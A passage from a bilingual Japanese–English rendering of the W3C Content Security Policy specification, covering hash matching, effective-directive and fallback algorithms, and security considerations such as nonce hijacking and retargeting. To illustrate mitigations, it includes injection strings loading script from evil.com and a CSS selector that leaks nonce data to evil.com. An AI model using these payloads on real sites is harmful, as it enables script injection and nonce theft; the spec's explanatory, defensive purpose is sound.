⇒
~CONTINUE
◎
If expression matches the hash-source grammar:
</li>
					<li>
%~algo ~LET ［
`~ASCII小文字~化する$( %式 の`hash-algorithm$p 成分 ) の結果
］に応じて，次で与えられる~algo
⇒
`sha256^l ならば SHA-256 ／
`sha384^l ならば SHA-384 ／
`sha512^l ならば SHA-512 ／
~ELSE_ ~NULL
◎
Let algorithm be null.
◎
If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha256", set algorithm to SHA-256.
◎
If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha384", set algorithm to SHA-384.
◎
If expression’s hash-algorithm part is an ASCII case-insensitive match for "sha512", set algorithm to SHA-512.
</li>
					<li>
~IF［
%~algo ~EQ ~NULL
］
⇒
~CONTINUE
◎
If algorithm is not null:
</li>
					<li>
<p>
~IF［
次の 2 つは一致する
］…
</p>
						<ul>
							<li>
%~source に %~algo を適用した結果を `base64$p に符号化した結果（実際の値）
</li>
							<li>
%式 の `base64-value$p 成分を，その中の各~文字［
`-^l ／ `_^l
］を［
`+^l ／ `/^l
］に置換した結果（期待される値）
</li>
						</ul>
<p>
…ならば
⇒
~RET `合致する^i
</p>

<p class="note">注記：
この置換は、
`base64url$p に符号化された~hashを正規化して，
`base64$p 符号化-法の下で照合できるようにする。
</p>

◎
Let actual be the result of base64 encoding the result of applying algorithm to source.
◎
Let expected be expression’s base64-value part, with all '-' characters replaced with '+', and all '_' characters replaced with '/'.
◎
Note: This replacement normalizes hashes expressed in base64url encoding into base64 encoding for matching.
◎
If actual is identical to expected, return "Matches".
</li>
				</ol>
			</li>
		</ol>

<p class="note">注記：
~hashは、
~inlineな［
`script$e ／ `style$e
］に適用される。
~source式 `unsafe-hashes$pl が在る場合、
それも［
~event~handler ／ ~style属性 ／ `javascript_^sc ~navi
］に適用される。
◎
Note: Hashes apply to inline script and inline style. If the "'unsafe-hashes'" source expression is present, they will also apply to event handlers, style attributes and javascript: navigations.
</p>

<p class="issue">
これは、
動的に挿入された~inline~script用に `strict-dynamic$pl を取扱うべきである。
[`426$issue]
◎
This should handle 'strict-dynamic' for dynamically inserted inline scripts. [w3c/webappsec-csp Issue #426]
</p>
	</li>
	<li>
~RET `合致しない^i
◎
Return "Does Not Match".
</li>
</ol>

				</section>
			</section>
		</section>
		<section id="directive-algorithms">
<h3 title="Directive Algorithms">6.8. 指令~algo</h3>

			<section id="effective-directive-for-a-request">
<h4 title="Get the effective directive for request">6.8.1. 要請~用に有効果な指令を取得する</h4>

<p>
各種 `~fetch指令$は、
特定の行先の`要請$を制御する。
次の~algoは、
所与の
( `要請$ %要請 )
に対し，［
~NULL, または
`有効果な指令@
の`名前$
］を返す：
◎
Each fetch directive controls a specific destination of request. Given a request request, the following algorithm returns either null or the name of the request’s effective directive:
</p>
<ol>
	<li>
~IF［
%要請 の`起動元$rq ~IN { `prefetch^l, `prerender^l }
］
⇒
~RET `default-src$dir
◎
If request’s initiator is "prefetch" or "prerender", return default-src.
</li>
	<li>
<p>
%要請 の`行先$rqに応じて：
◎
Switch on request’s destination, and execute the associated steps:
</p>
		<dl class="switch">
			<dt>空~文字列</dt>
			<dd>
~RET `connect-src$dir
◎
Return connect-src.
</dd>
			<dt>`manifest^l</dt>
			<dd>
~RET `manifest-src$dir
◎
Return manifest-src.
</dd>

			<dt>`object^l</dt>
			<dt>`embed^l</dt>
			<dd>
~RET `object-src$dir
◎
Return object-src.
</dd>

			<dt>`frame^l</dt>
			<dt>`iframe^l</dt>
			<dd>
~RET `frame-src$dir
◎
Return frame-src.
</dd>

			<dt>`audio^l</dt>
			<dt>`track^l</dt>
			<dt>`video^l</dt>
			<dd>
~RET `media-src$dir
◎
Return media-src.
</dd>

			<dt>`font^l</dt>
			<dd>
~RET `font-src$dir
◎
Return font-src.
</dd>

			<dt>`image^l</dt>
			<dd>
~RET `img-src$dir
◎
Return img-src.
</dd>

			<dt>`style^l</dt>
			<dd>
~RET `style-src-elem$dir
◎
Return style-src-elem.
</dd>

			<dt>`script^l</dt>
			<dt>`xslt^l</dt>
			<dt>`audioworklet^l</dt>
			<dt>`paintworklet^l</dt>
			<dd>
~RET `script-src-elem$dir
◎
Return script-src-elem.
</dd>

			<dt>`serviceworker^l</dt>
			<dt>`sharedworker^l</dt>
			<dt>`worker^l</dt>
			<dd>
~RET `worker-src$dir
◎
Return worker-src.
</dd>

			<dt>`json^l</dt>
			<dt>`webidentity^l</dt>
			<dd>
~RET `connect-src$dir
◎
Return connect-src.
</dd>

			<dt>`report^l</dt>
			<dd>
~RET ~NULL
◎
Return null.
</dd>
		</dl>
	</li>
	<li>
~RET `connect-src$dir
◎
Return connect-src.
</li>
</ol>

<p class="note">注記：
この~algoは、
既定の~fallbackとして `connect-src$dir を返す。
これは、［
~fetch用に追加される新たな`行先$rqのうち，他のどの分類にも明示的に該当しないもの
］用に意図される。
◎
Note: The algorithm returns connect-src as a default fallback. This is intended for new fetch destinations that are added and which don’t explicitly fall into one of the other categories.
</p>

			</section>
			<section id="effective-directive-for-inline-check">
<h4 title="Get the effective directive for inline checks">6.8.2. ~inline検査~用に有効果な指令を取得する</h4>

<p>
次の~algoは、
所与の
( 文字列 %型 )
に対し，有効果な指令の`名前$を返す：
◎
Given a string type, this algorithm returns the name of the effective directive.
</p>

<p class="note">注記：
`有効果な指令$は，`要請$用に限り定義されているが、
この~algoにおいては，［
特定0の型の~inline検査に最も関連な指令
］を意味するように同様に利用される。
◎
Note: While the effective directive is only defined for requests, in this algorithm it is used similarly to mean the directive that is most relevant to a particular type of inline check.
</p>

<ol>
	<li>
<p>
%型 に応じて：
◎
Switch on type:
</p>
		<dl class="switch">
			<dt>`script^l</dt>
			<dt>`navigation^l</dt>
			<dd>
~RET `script-src-elem$dir
◎
Return script-src-elem.
</dd>

			<dt>`script attribute^l</dt>
			<dd>
~RET `script-src-attr$dir
◎
Return script-src-attr.
</dd>

			<dt>`style^l</dt>
			<dd>
~RET `style-src-elem$dir
◎
Return style-src-elem.
</dd>
			<dt>`style attribute^l</dt>
			<dd>
~RET `style-src-attr$dir
◎
Return style-src-attr.
</dd>
		</dl>
	</li>
	<li>
~RET ~NULL
◎
Return null.
</li>
</ol>

			</section>
			<section id="directive-fallback-list">
<h4 title="Get fetch directive fallback list">6.8.3. ~fetch指令~fallback~listを取得する</h4>

<p>
特定の`指令$用の~fallback`指令$たちからなる`有順序~集合$を返す。
結果は、
最も関連なものから順に~sortされ，有効果な指令~自身も含む。
◎
Will return an ordered set of the fallback directives for a specific directive. The returned ordered set is sorted from most relevant to least relevant and it includes the effective directive itself.
</p>

<p>
所与の
( 文字列 %指令~名 )
に対し：
◎
Given a string directive name:
</p>
<ol>
	<li>
<p>
~RET %指令~名 に応じて，次の表tの 2 列目に与える集合：
◎
Switch on directive name:
</p>

<table><thead>
<tr><th>%指令~名
<th>結果
<tbody>

<tr><td>"`script-src-elem$dir"
<td>« `script-src-elem^l, `script-src^l, `default-src^l »
◎
Return &lt;&lt; "script-src-elem", "script-src", "default-src" &gt;&gt;.

<tr><td>"`script-src-attr$dir"
<td>« `script-src-attr^l, `script-src^l, `default-src^l »
◎
Return &lt;&lt; "script-src-attr", "script-src", "default-src" &gt;&gt;.

<tr><td>"`style-src-elem$dir"
<td>« `style-src-elem^l, `style-src^l, `default-src^l »
◎
Return &lt;&lt; "style-src-elem", "style-src", "default-src" &gt;&gt;.

<tr><td>"`style-src-attr$dir"
<td>« `style-src-attr^l, `style-src^l, `default-src^l »
◎
Return &lt;&lt; "style-src-attr", "style-src", "default-src" &gt;&gt;.

<tr><td>"`worker-src$dir"
<td>« `worker-src^l, `child-src^l, `script-src^l, `default-src^l »
◎
Return &lt;&lt; "worker-src", "child-src", "script-src", "default-src" &gt;&gt;.

<tr><td>"`connect-src$dir"
<td>« `connect-src^l, `default-src^l »
◎
Return &lt;&lt; "connect-src", "default-src" &gt;&gt;.

<tr><td>"`manifest-src$dir"
<td>« `manifest-src^l, `default-src^l »
◎
Return &lt;&lt; "manifest-src", "default-src" &gt;&gt;.

<tr><td>"`object-src$dir"
<td>« `object-src^l, `default-src^l »
◎
Return &lt;&lt; "object-src", "default-src" &gt;&gt;.

<tr><td>"`frame-src$dir"
<td>« `frame-src^l, `child-src^l, `default-src^l »
◎
Return &lt;&lt; "frame-src", "child-src", "default-src" &gt;&gt;.

<tr><td>"`media-src$dir"
<td>« `media-src^l, `default-src^l »
◎
Return &lt;&lt; "media-src", "default-src" &gt;&gt;.

<tr><td>"`font-src$dir"
<td>« `font-src^l, `default-src^l »
◎
Return &lt;&lt; "font-src", "default-src" &gt;&gt;.

<tr><td>"`img-src$dir"
<td>« `img-src^l, `default-src^l »
◎
Return &lt;&lt; "img-src", "default-src" &gt;&gt;.

<tr><td>その他
<td>空~集合
◎
Return &lt;&lt; &gt;&gt;.
</table>

	</li>
</ol>

			</section>
			<section id="should-directive-execute">
<h4 title="Should fetch directive execute">6.8.4. ~fetch指令を実行するべきか？</h4>

<p>
この~algoは、
`~fetch指令$に対し，［
指令を実行するべきか, より適した他の指令に先送りするか
］を裁定するために利用される。
例えば，［
%有効果な指令の名前 ~EQ `worker-src$dir
］の場合（現在，~worker要請【 `行先$rq ~EQ `worker^l 】を検査していることを意味する）、［
`worker-src$dir ／ `script-src$dir
］指令が存在する場合には， `default-src$dir 指令は実行するべきでない。
◎
This algorithm is used for fetch directives to decide whether a directive should execute or defer to a different directive that is better suited. For example: if the effective directive name is worker-src (meaning that we are currently checking a worker request), a default-src directive should not execute if a worker-src or script-src directive exists.
</p>

<p>
所与の
( 文字列 %有効果な指令の名前, 文字列 %指令~名, `施策$ %施策 )
に対し：
◎
Given a string effective directive name, a string directive name and a policy policy:
</p>
<ol>
	<li>
%指令~fallback~list ~LET `~fetch指令~fallback~listを取得する$A( %有効果な指令の名前 )
◎
Let directive fallback list be the result of executing § 6.8.3 Get fetch directive fallback list on effective directive name.
</li>
	<li>
<p>
%指令~fallback~list を成す
~EACH( %~fallback指令 )
に対し：
◎
For each fallback directive of directive fallback list:
</p>
		<ol>
			<li>
~IF［
%指令~名 ~EQ %~fallback指令
］
⇒
~RET `~Yes^i
◎
If directive name is fallback directive, Return "Yes".
</li>
			<li>
~IF［
%施策 は［
`名前$ ~EQ %~fallback指令
］を満たす指令を包含する
］
⇒
~RET `~No^i
◎
If policy contains a directive whose name is fallback directive, Return "No".
</li>
		</ol>
	</li>
	<li>
~RET `~No^i
◎
Return "No".
</li>
</ol>

			</section>
		</section>
	</section>
	<section id="security-considerations">
<h2 title="Security and Privacy Considerations">7. ~security／~privacyの考慮点</h2>

		<section id="security-nonces">
<h3 title="Nonce Reuse">7.1. ~nonceの再利用</h3>

<p>
~nonceは、［
それを送達した指令~内に在る他の制約
］を上書きする。
ゆえに、
推測-不能であり続けることが不可欠になる
— さもなければ、
資源の施策を迂回することは，自明になるので。
◎
Nonces override the other restrictions present in the directive in which they’re delivered. It is critical, then, that they remain unguessable, as bypassing a resource’s policy is otherwise trivial.
</p>

<p>
`施策$の一部として `nonce-source$p 式を送達する~serverは、
施策の各~伝送-ごとに一意な値を生成しなければナラナイ。
生成される値は、
攻撃者による予測-が困難になるベキであり，［
（符号化する前の時点で） 128 ~bit以上
］, かつ［
暗号的に~secureな乱数~生成器を介して生成される
］ベキである。
◎
If a server delivers a nonce-source expression as part of a policy, the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict.
</p>

<p class="note">注記：
【 `script-src$dir／`style-src$dir 指令において】
~nonceを利用して~inlineな［
~script／~style
］を許容するのは、
~nonceを利用しないでそうするときより~secureでない
— ~nonceは、
それが在る指令~内の制約を上書きするので。
~nonceへの~accessを得られる攻撃者は、
~~任意の~scriptを~~任意に実行できる。
とは言え、
古い~code上に~CSP層を重ねるとき，
~nonceの~~利用は `unsafe-inline$pl を大きく改善する。
作者には、
 `unsafe-inline$pl を考慮するときは，代わりに~nonce（または~hash）を考慮することが奨励される。
◎
Note: Using a nonce to allow inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.
</p>

		</section>
		<section id="security-nonce-hijacking">
<h3 title="Nonce Hijacking">7.2. ~nonceの乗取り</h3>

			<section id="dangling-markup-attacks">
<h4 title="Dangling markup attacks">7.2.1. ~dangling-markup攻撃</h4>

<p>
`FILEDESCRIPTOR-2015$r などで論じられている
~dangling-markup攻撃（ `dangling markup attack^en ）は、
~pageの正当な~nonceを注入-用に転用するためにも利用され得る。
例えば、
所与の `script$e 要素の前に注入~地点があるとする：
◎
Dangling markup attacks such as those discussed in [FILEDESCRIPTOR-2015] can be used to repurpose a page’s legitimate nonces for injections. For example, given an injection point before a script element:
</p>

<pre class="lang-html">
&lt;p&gt;Hello, %注入~地点&lt;/p&gt;
&lt;script nonce=abc src=/good.js&gt;&lt;/script&gt;
</pre>
<!-- 
INJECTION POINT
-->
<p>
攻撃者が文字列 `&lt;script src='https://evil.com/evil.js' ^l を注入した場合、
~browserは次を受信することになる：
◎
If an attacker injects the string "&lt;script src='https://evil.com/evil.js' ", then the browser will receive the following:
</p>

<pre class="lang-html">
&lt;p&gt;Hello, <mark>&lt;script src='https://evil.com/evil.js' </mark>&lt;/p&gt;
&lt;script nonce=abc <mark>src=/good.js</mark>&gt;&lt;/script&gt;
</pre>

<p>
その~codeを構文解析した結果の `script$e 要素には、
次に挙げる名前の属性：
<span class="block">
`src^l , `&lt;/p&gt;^l , `&lt;script^l , `nonce^l, もう一つの `src^l
</span>
が伴われることになる。
最初の `src^a 属性
— 悪意的な~sourceを指している —
のおかげで、
元からあった 2 個目の `src^a 属性は，構文解析器により重複として破棄される。
◎
It will then parse that code, ending up with a script element with a src attribute pointing to a malicious payload, an attribute named &lt;/p&gt;, an attribute named "&lt;script", a nonce attribute, and a second src attribute which is helpfully discarded as duplicate by the parser.
</p>

<p>
`要素は~nonce可能か？$A
~algoは、［
`script$e, `style$e
］要素の属性を走査して，その名前や値から文字列［
`&lt;script^l ／ `&lt;style^l
］を探し出すことで、
この特定の攻撃を軽減しようと試みるものである。
◎
The § 6.7.3.1 Is element nonceable? algorithm attempts to mitigate this specific attack by walking through script or style element attributes, looking for the string "&lt;script" or "&lt;style" in their names or values.
</p>

<p>
~UAは、
この~algoを実装するときには，
重複な属性を無視しないよう~~特段の注意を払う必要がある。
要素が重複な属性を有する場合，最初を除く属性~instanceが無視されるが、
`要素は~nonce可能か？$A~algoにおいては，それらすべての属性が検査される必要がある。
◎
User-agents must pay particular attention when implementing this algorithm to not ignore duplicate attributes. If an element has a duplicate attribute any instance of the attribute after the first one is ignored but in the § 6.7.3.1 Is element nonceable? algorithm, all attributes including the duplicate ones need to be checked.
</p>

<p class="issue">
現在の~HTML仕様の構文解析~algoは、
`要素は~nonce可能か？$A~algoを走らす前に この情報を除去しているため，
重複な属性を実際に検出するのはアリでない。
[`whatwg/html 課題 #3257＠~HTMLissue/3257$]
◎
Currently the HTML spec’s parsing algorithm removes this information before the § 6.7.3.1 Is element nonceable? algorithm can be run which makes it impossible to actually detect duplicate attributes. [whatwg/html Issue #3257]
</p>

<p>
【この節の残りの内容は、上の例と~~重複しているので，和訳は省略する。】
◎
For the following example page:

Hello, [INJECTION POINT]
&lt;script nonce=abc src=/good.js&gt;&lt;/script&gt;

The following injected string will use a duplicate attribute to attempt to bypass the § 6.7.3.1 Is element nonceable? algorithm check:

Hello, &lt;script src='https://evil.com/evil.js' x="" x=
&lt;script nonce="abcd" src=/good.js&gt;&lt;/script&gt;
</p>

			</section>
			<section id="nonce-exfiltration-content-attributes">
<h4 title="Nonce exfiltration via content attributes">7.2.2. 内容~属性を介する~nonceの漏出</h4>

<p>
~CSPに対する攻撃には、
内容~属性を読取れるような様々な仕組みを介して~nonce~dataを漏出する（ `exfiltrate^en ）能に依拠するものがある。
最も~~簡単な例として、
次のような~CSS
`部分照合 属性~選択子＠~SELECTORS4#attribute-substrings$
の利用を通して，攻撃者の~serverへ送信する方法が挙げられる
（漏出された~dataは、
後で再利用されることになる）：
◎
Some attacks on CSP rely on the ability to exfiltrate nonce data via various mechanisms that can read content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker’s server for reuse. Example:
</p>

<pre class="lang-html">
script[nonce=^a]【！script[nonce=a]】 { background: url("https://evil.com/nonce?a");}
</pre>

<p class="trans-note">【
この例では、
 `nonce^a 値の一部の情報（先頭の文字は `a^l かどうか）のみ漏出される
— 実際の攻撃では、
似たような多数の選択子を用いて完全な情報を得ることになる。
（前提として、
攻撃者はそのような~CSSを注入できるとする。）
】</p>
【！ http://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html】

<p>
§ `nonce$a は、
要素の内容~属性による~nonceを内部~slotの中へ移動して隠すことにより，
これらの型の攻撃を軽減することについて~~述べている。
これは、
 `nonce^a 値は~script以外には~~直に公開されないことを確保するために行われる。
◎
The nonce section talks about mitigating these types of attacks by hiding the nonce from the element’s content attribute and moving it into an internal slot. This is done to ensure that the nonce value is exposed to scripts but not any other non-script channels.
</p>
			</section>
		</section>
		<section id="security-nonce-retargeting">
<h3 title="Nonce Retargeting">7.3. ~nonceの再~target法</h3>

<p>
~nonceは、
 `host-source$p 式を迂回して，
開発者がどの生成元からも~codeを読込めるようにする。
これは一般に，開発者の視点からは~~好都合になるが、
攻撃者が `base$e 要素を注入できる場合、
さもなければ安全だった~pageは，相対~URLの解決-時に打破され得る。
すなわち，
`https://example.com/^s
上の~code：
◎
Nonces bypass host-source expressions, enabling developers to load code from any origin. This, generally, is fine, and desirable from the developer’s perspective. However, if an attacker can inject a base element, then an otherwise safe page can be subverted when relative URLs are resolved. That is, on https://example.com/ the following code will load https://example.com/good.js:
</p>

<pre class="lang-html">
&lt;script nonce=abc src=/good.js&gt;&lt;/script&gt;
</pre>

<p>
は，
`https://example.com/good.js^s
を読込むことになるが、
次の~codeは，
`https://evil.com/good.js^s
を読込むことになる：
◎
However, the following will load https://evil.com/good.js:
</p>

<pre class="lang-html">
&lt;base href="https://evil.com"&gt;
&lt;script nonce=abc src=/good.js&gt;&lt;/script&gt;
</pre>

<p>
この~riskを軽減するため、
あらゆる~pageに明示的な `base$e 要素を設定するか，または、
~pageの施策に `base-uri$dir 指令
— 例： <samp>`base-uri$p `none^pl</samp> —
を設定して，攻撃者が自前の `base$e 要素を注入する能を制限することを勧める。
◎
To mitigate this risk, it is advisable to set an explicit base element on every page, or to limit the ability of an attacker to inject their own base element by setting a base-uri directive in your page’s policy. For example, base-uri 'none'.
</p>
		</section>
		<section id="security-css-parsing">
<h3 title="CSS Parsing">7.4. ~CSS構文解析</h3>

<p>
`style-src$dir 指令は、［
保護される資源が，~styleをどの所在から読込めるか
］を制約する。
しかしながら，~UAの~CSS構文解析~algoが緩い場合、
攻撃者は，［
他では信用に価する生成元に~hostされている悪意的な “~stylesheet” を受容する
］よう~UAを騙せるかもしれない。
◎
The style-src directive restricts the locations from which the protected resource can load styles. However, if the user agent uses a lax CSS parsing algorithm, an attacker might be able to trick the user agent into accepting malicious "stylesheets" hosted by an otherwise trustworthy origin.
</p>

<p>
これらの攻撃は、
2009 年に `Chris Evans^en 氏が述べた，~CSS非同一-生成元~data漏洩e攻撃 `CSS-ABUSE$r
に類似する。
いずれの攻撃に対しても、
~UAは，同じ仕組み
— ~MIME型が不適正な~stylesheetに対しては，より厳密な~CSS構文解析~規則を適用する —
で防御するベキである：
◎
These attacks are similar to the CSS cross-origin data leakage attack described by Chris Evans in 2009 [CSS-ABUSE]. User agents SHOULD defend against both attacks using the same mechanism: stricter CSS parsing rules for style sheets with improper MIME types.
</p>

		</section>
		<section id="security-violation-reports">
<h3 title="Violation Reports">7.5. 違反~報告</h3>

<p>
この文書における違反~報告-法の仕組みは、［
悪意的な~web~siteが，違反~報告を利用して，他の~serverの挙動を探査する~risk
］を軽減するように設計されている。
例えば，画像の~sourceとして
`https://example.com^s
を許容している，悪意的な~web~siteを考える。
この~siteが、
【 `example.com^s の~log-in用~pageの~URLである】
`https://example.com/login^s
を画像として読込もうと試みた場合、
`example.com^s の~serverが，ある `identity provider^en†（例えば
`identityprovider.example.net^s
とする）へ~redirectしたとするとき、
~CSPにより，その要請は阻止されることになる。
仮に，阻止された~URLを，違反~報告に全部的に包含することにした場合、
違反~報告に，~redirect先の~URL内に［
~session識別子や `purported identities^en††などの敏感な情報
］が包含されていれば，それも包含することになる。
この理由から、
~UAは，~redirect~targetではなく 元の要請の~URLを違反~報告に含むようにしている。
◎
The violation reporting mechanism in this document has been designed to mitigate the risk that a malicious web site could use violation reports to probe the behavior of other servers. For example, consider a malicious web site that allows https://example.com as a source of images. If the malicious site attempts to load https://example.com/login as an image, and the example.com server redirects to an identity provider (e.g. identityprovider.example.net), CSP will block the request. If violation reports contained the full blocked URL, the violation report might contain sensitive information contained in the redirected URL, such as session identifiers or purported identities. For this reason, the user agent includes only the URL of the original request, not the redirect target.
</p>

<p class="trans-note">【†
“`identity provider^en” （ <abbr>IdP</abbr> とも略称される）とは、
個人認証サービスを専門に供するプロバイダを指すと思われる。
】【††
“`purported identities^en（ある特定目的の識別情報）” とは、
現実の個人を識別することは含意しないような，
（当の~site~~専用の）異なる個人を別人として識別するための情報と見受けられる。
】</p>

<p>
違反~報告は、
攻撃者により制御される~dataと見なされるべきである。
開発者は，~dashboardに類する~service内に違反~報告を収集したいと望むときは、
内容を具現化する前に，適正に~escapeするよう気を付けるべきである
（また，おそらく、
注入の~riskを更に軽減するため，それ自体も~CSPを利用するべきである）。
このことは，とりわけ、［
違反~報告の `script-sample^l ~prop／
`SecurityPolicyViolationEvent$I の `sample$vE 属性
］に該当する
— 両者とも完全に攻撃者により制御される文字列なので。
◎
Note also that violation reports should be considered attacker-controlled data. Developers who wish to collect violation reports in a dashboard or similar service should be careful to properly escape their content before rendering it (and should probably themselves use CSP to further mitigate the risk of injection). This is especially true for the "script-sample" property of violation reports, and the sample property of SecurityPolicyViolationEvent, which are both completely attacker-controlled strings.
</p>

		</section>
		<section id="source-list-paths-and-redirects">
<h3 title="Paths and Redirects">7.6. ~pathと~redirect</h3>

<p>
~path情報が（ `Egor Homakov^en 氏により論じられた
`Using Content-Security-Policy for Evil＠https://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html$en
により）非同一-生成元に漏洩されるのを避けるため、
読込まれている資源が~redirectの結果である場合，
照合~algoは~source式を成す~path成分を無視する。
例えば，~pageにて作動中な施策として
<samp>`img-src$dir example.com example.org/path</samp>
が与えられているとする：
◎
To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com example.org/path:
</p>

<ul>
	<li>
`https://example.org/not-path^s
を直に読込んでも、
この施策には合致しないので，失敗することになる。
◎
Directly loading https://example.org/not-path would fail, as it doesn’t match the policy.
</li>
	<li>
`https://example.com/redirector^s
を直に読込んだ場合、
`example.com^s
に合致するので，合格することになる。
◎
Directly loading https://example.com/redirector would pass, as it matches example.com.
</li>
	<li>
`https://example.com/redirector^s
が
`https://example.org/not-path^s
を指している~redirect応答を送達するとする。
この場合、
読込ngは成功することになる
— 初期~URLは `example.com^s に合致し，
~redirect~targetは その~path成分を無視すれば `example.org/path^s に合致するので。
◎
Assuming that https://example.com/redirector delivered a redirect response pointing to https://example.org/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches example.org/path if we ignore its path component.
</li>
</ul>

<p>
この制約は、
~redirectが生じることになるとき，文書の施策の細かさを抑制する。
それは、
この型の総当たりによる情報~漏洩を避けるために必要yな妥協点である。
◎
This restriction reduces the granularity of a document’s policy when redirects are in play, a necessary compromise to avoid brute-forced information leaks of this type.
</p>

<p>
public-webappsec@w3.org
における長い~thread
“`Remove paths from CSP?＠https://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html$en（~CSPから~pathを除去するか？）”
にて，代替-提案に関する詳細が論じられている。
◎
The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.
</p>
		</section>
		<section id="security-secure-upgrades">
<h3 title="Secure Upgrades">7.7. ~secureな昇格</h3>

<p>
`Yan Zhu^en 氏による `Sniffly＠http://diracdeltas.github.io/sniffly/$en の様な，
ある種の履歴走査~攻撃（ `history-scanning^en ）を軽減するため、
~CSPは，~pageが［
`script-src http://example.com^s
の様な施策を介して，自身を~secureでない~URLに~lockする
］ことを許容しない。
<a href="#match-schemes">§ `scheme-part^p の照合-法</a>
にて述べたとおり、
~source式の~scheme成分に対しては，常に~secureな~schemeへの昇格が許容されることになる。
◎
To mitigate one variant of history-scanning attacks like Yan Zhu’s Sniffly, CSP will not allow pages to lock themselves into insecure URLs via policies like script-src http://example.com. As described in § 6.7.2.9 scheme-part matching, the scheme portion of a source expression will always allow upgrading to a secure variant.
</p>

		</section>
		<section id="security-inherit-csp">
<h3 title="CSP Inheriting to avoid bypasses">7.8. 迂回を避けるための~CSPの継承-法</h3>

<p>
`局所的$urlな~URL【！`局所~scheme$】から読込まれる文書は，~source文書における施策を複製して継承することになる。
その目標は、［
~pageが次を行っても，自身の施策を迂回できない
］ことを確保することである
⇒
［
次に挙げるような，自身が全体を制御できる内容
］を包含している［
~frameを埋込む ／ 新たな~windowを開く
］
⇒
`document.write()^m 等々を介して操作できるような［
`~iframe-srcdoc文書$ ／
`blob_^sc ~URL ／
`data_^sc ~URL ／
`about_blank^sc 文書
］
◎
Documents loaded from local schemes will inherit a copy of the policies in the source document. The goal is to ensure that a page can’t bypass its policy by embedding a frame or opening a new window containing content that is entirely under its control (srcdoc documents, blob: or data: URLs, about:blank documents that can be manipulated via document.write(), etc).
</p>

<div class="example">
<p>
これが起こらなかった場合、
~pageは
— 自身の実行~文脈~内に `unsafe-inline^pl を伴わずとも —
単純に `srcdoc^a を伴う `iframe^e を埋込むことで，~inlineな~scriptを実行できるようになる：
◎
If this would not happen a page could execute inline scripts even without unsafe-inline in the page’s execution context by simply embedding a srcdoc iframe.
</p>

<pre class="lang-html">
&lt;iframe srcdoc="&lt;script&gt;alert(1);&lt;/script&gt;"&gt;&lt;/iframe&gt;
</pre>
</div>

<p>
~source`文書$が`有する~CSP~list$は、
複製されることに注意。
新たな`文書$が`有する~CSP~list$は，関連な施策の作成-時における~snapshotであり、
一方の`~CSP~list$【！`~CSP~list$gO】が改変されても，他方には影響しない。
◎
Note that we create a copy of the CSP list which means that the new Document’s CSP list is a snapshot of the relevant policies at its creation time. Modifications in the CSP list of the new Document won’t affect the source Document’s CSP list or vice-versa.
</p>

<div class="example">
<p>
次の例の `iframe^e の内側にある画像（ `img^e ）は、
読込まれないことになる
— それは `iframe^e の `meta^e ~tag内の施策により阻止されるので。
`iframe^e の外側にある画像は、
（~~元の~pageの施策により阻止されなければ）読込まれることになる
— `iframe^e 内に挿入される施策は、
~~元の~pageの施策には影響しないので。
◎
In the example below the image inside the iframe will not load because it is blocked by the policy in the meta tag of the iframe. The image outside the iframe will load (assuming the main page policy does not block it) since the policy inserted in the iframe will not affect it.
</p>
<pre class="lang-html">
&lt;iframe srcdoc='&lt;meta
    http-equiv="Content-Security-Policy"
    content="img-src example.com;"&gt;
    &lt;img src="not-example.com/image"&gt;'
&gt;&lt;/iframe&gt;

&lt;img src="not-example.com/image"&gt;
</pre>
</div>

		</section>
	</section>
	<section id="authoring-considerations">
<h2 title="Authoring Considerations">8. 著作上の考慮点</h2>

		<section id="multiple-policies">
<h3 title="The effect of multiple policies">8.1. 複数の施策による効果</h3>

◎非規範的

<p>
上の節【どの節？】では、
施策が複数~在るときは、
それぞれが，その型に則って［
施行-／報告-
］するモノトスルと記されている。
実施において，これがどう働くものとされるべきか、
明確化する例を示す。
何らかの理由で、
ある~siteから【の資源に伴って】次の~HTTP~headerが送達されてきたとする：
◎
The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:
</p>

<div class="example">
<pre class="lang-http">
`Content-Security-Policy$h:
    `default-src$dir `self$pl http://example.com http://example.net;
    `connect-src$dir `none$pl;

`Content-Security-Policy$h:
    `connect-src$dir http://example.com/;
    `script-src$dir http://example.com/
</pre>
</div>

<p>
このとき、
【この資源における】
`XMLHttpRequest$I による
`example.com^s
への接続は許容されるか？
— 答えは、
許容されない，である。
両~施策の施行は、［
起こりうる接続が，両者ともに無傷で合格しなければならない
］ことを意味する。
2 個目の施策がこの接続を許容するとしても，最初の施策が
<samp>`connect-src$dir `none$pl</samp>
を包含するので、
その施行nにより接続は阻止される。
施行する施策たちが成す~listに，施策を追加することによる影響iは、
保護される資源の能力に制約を追加しこそすれ，それを~~緩めることはない。
◎
Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.
</p>

<p>
更にデモるため、
この~page上の~script~tagを考える。
最初の施策は，~scriptを `default-src$dir 指令による
{ `self$pl, `http://example.com^s, `http://example.net^s }
の枠内に絞る一方、
2 個目の施策は，
`http://example.com/^s
からの~scriptのみを許容する。
~scriptが読込まれるのは，両~施策の判定基準を満たす場合に限られるので、
合致し得る生成元は
`http://example.com^s
のみになる。
◎
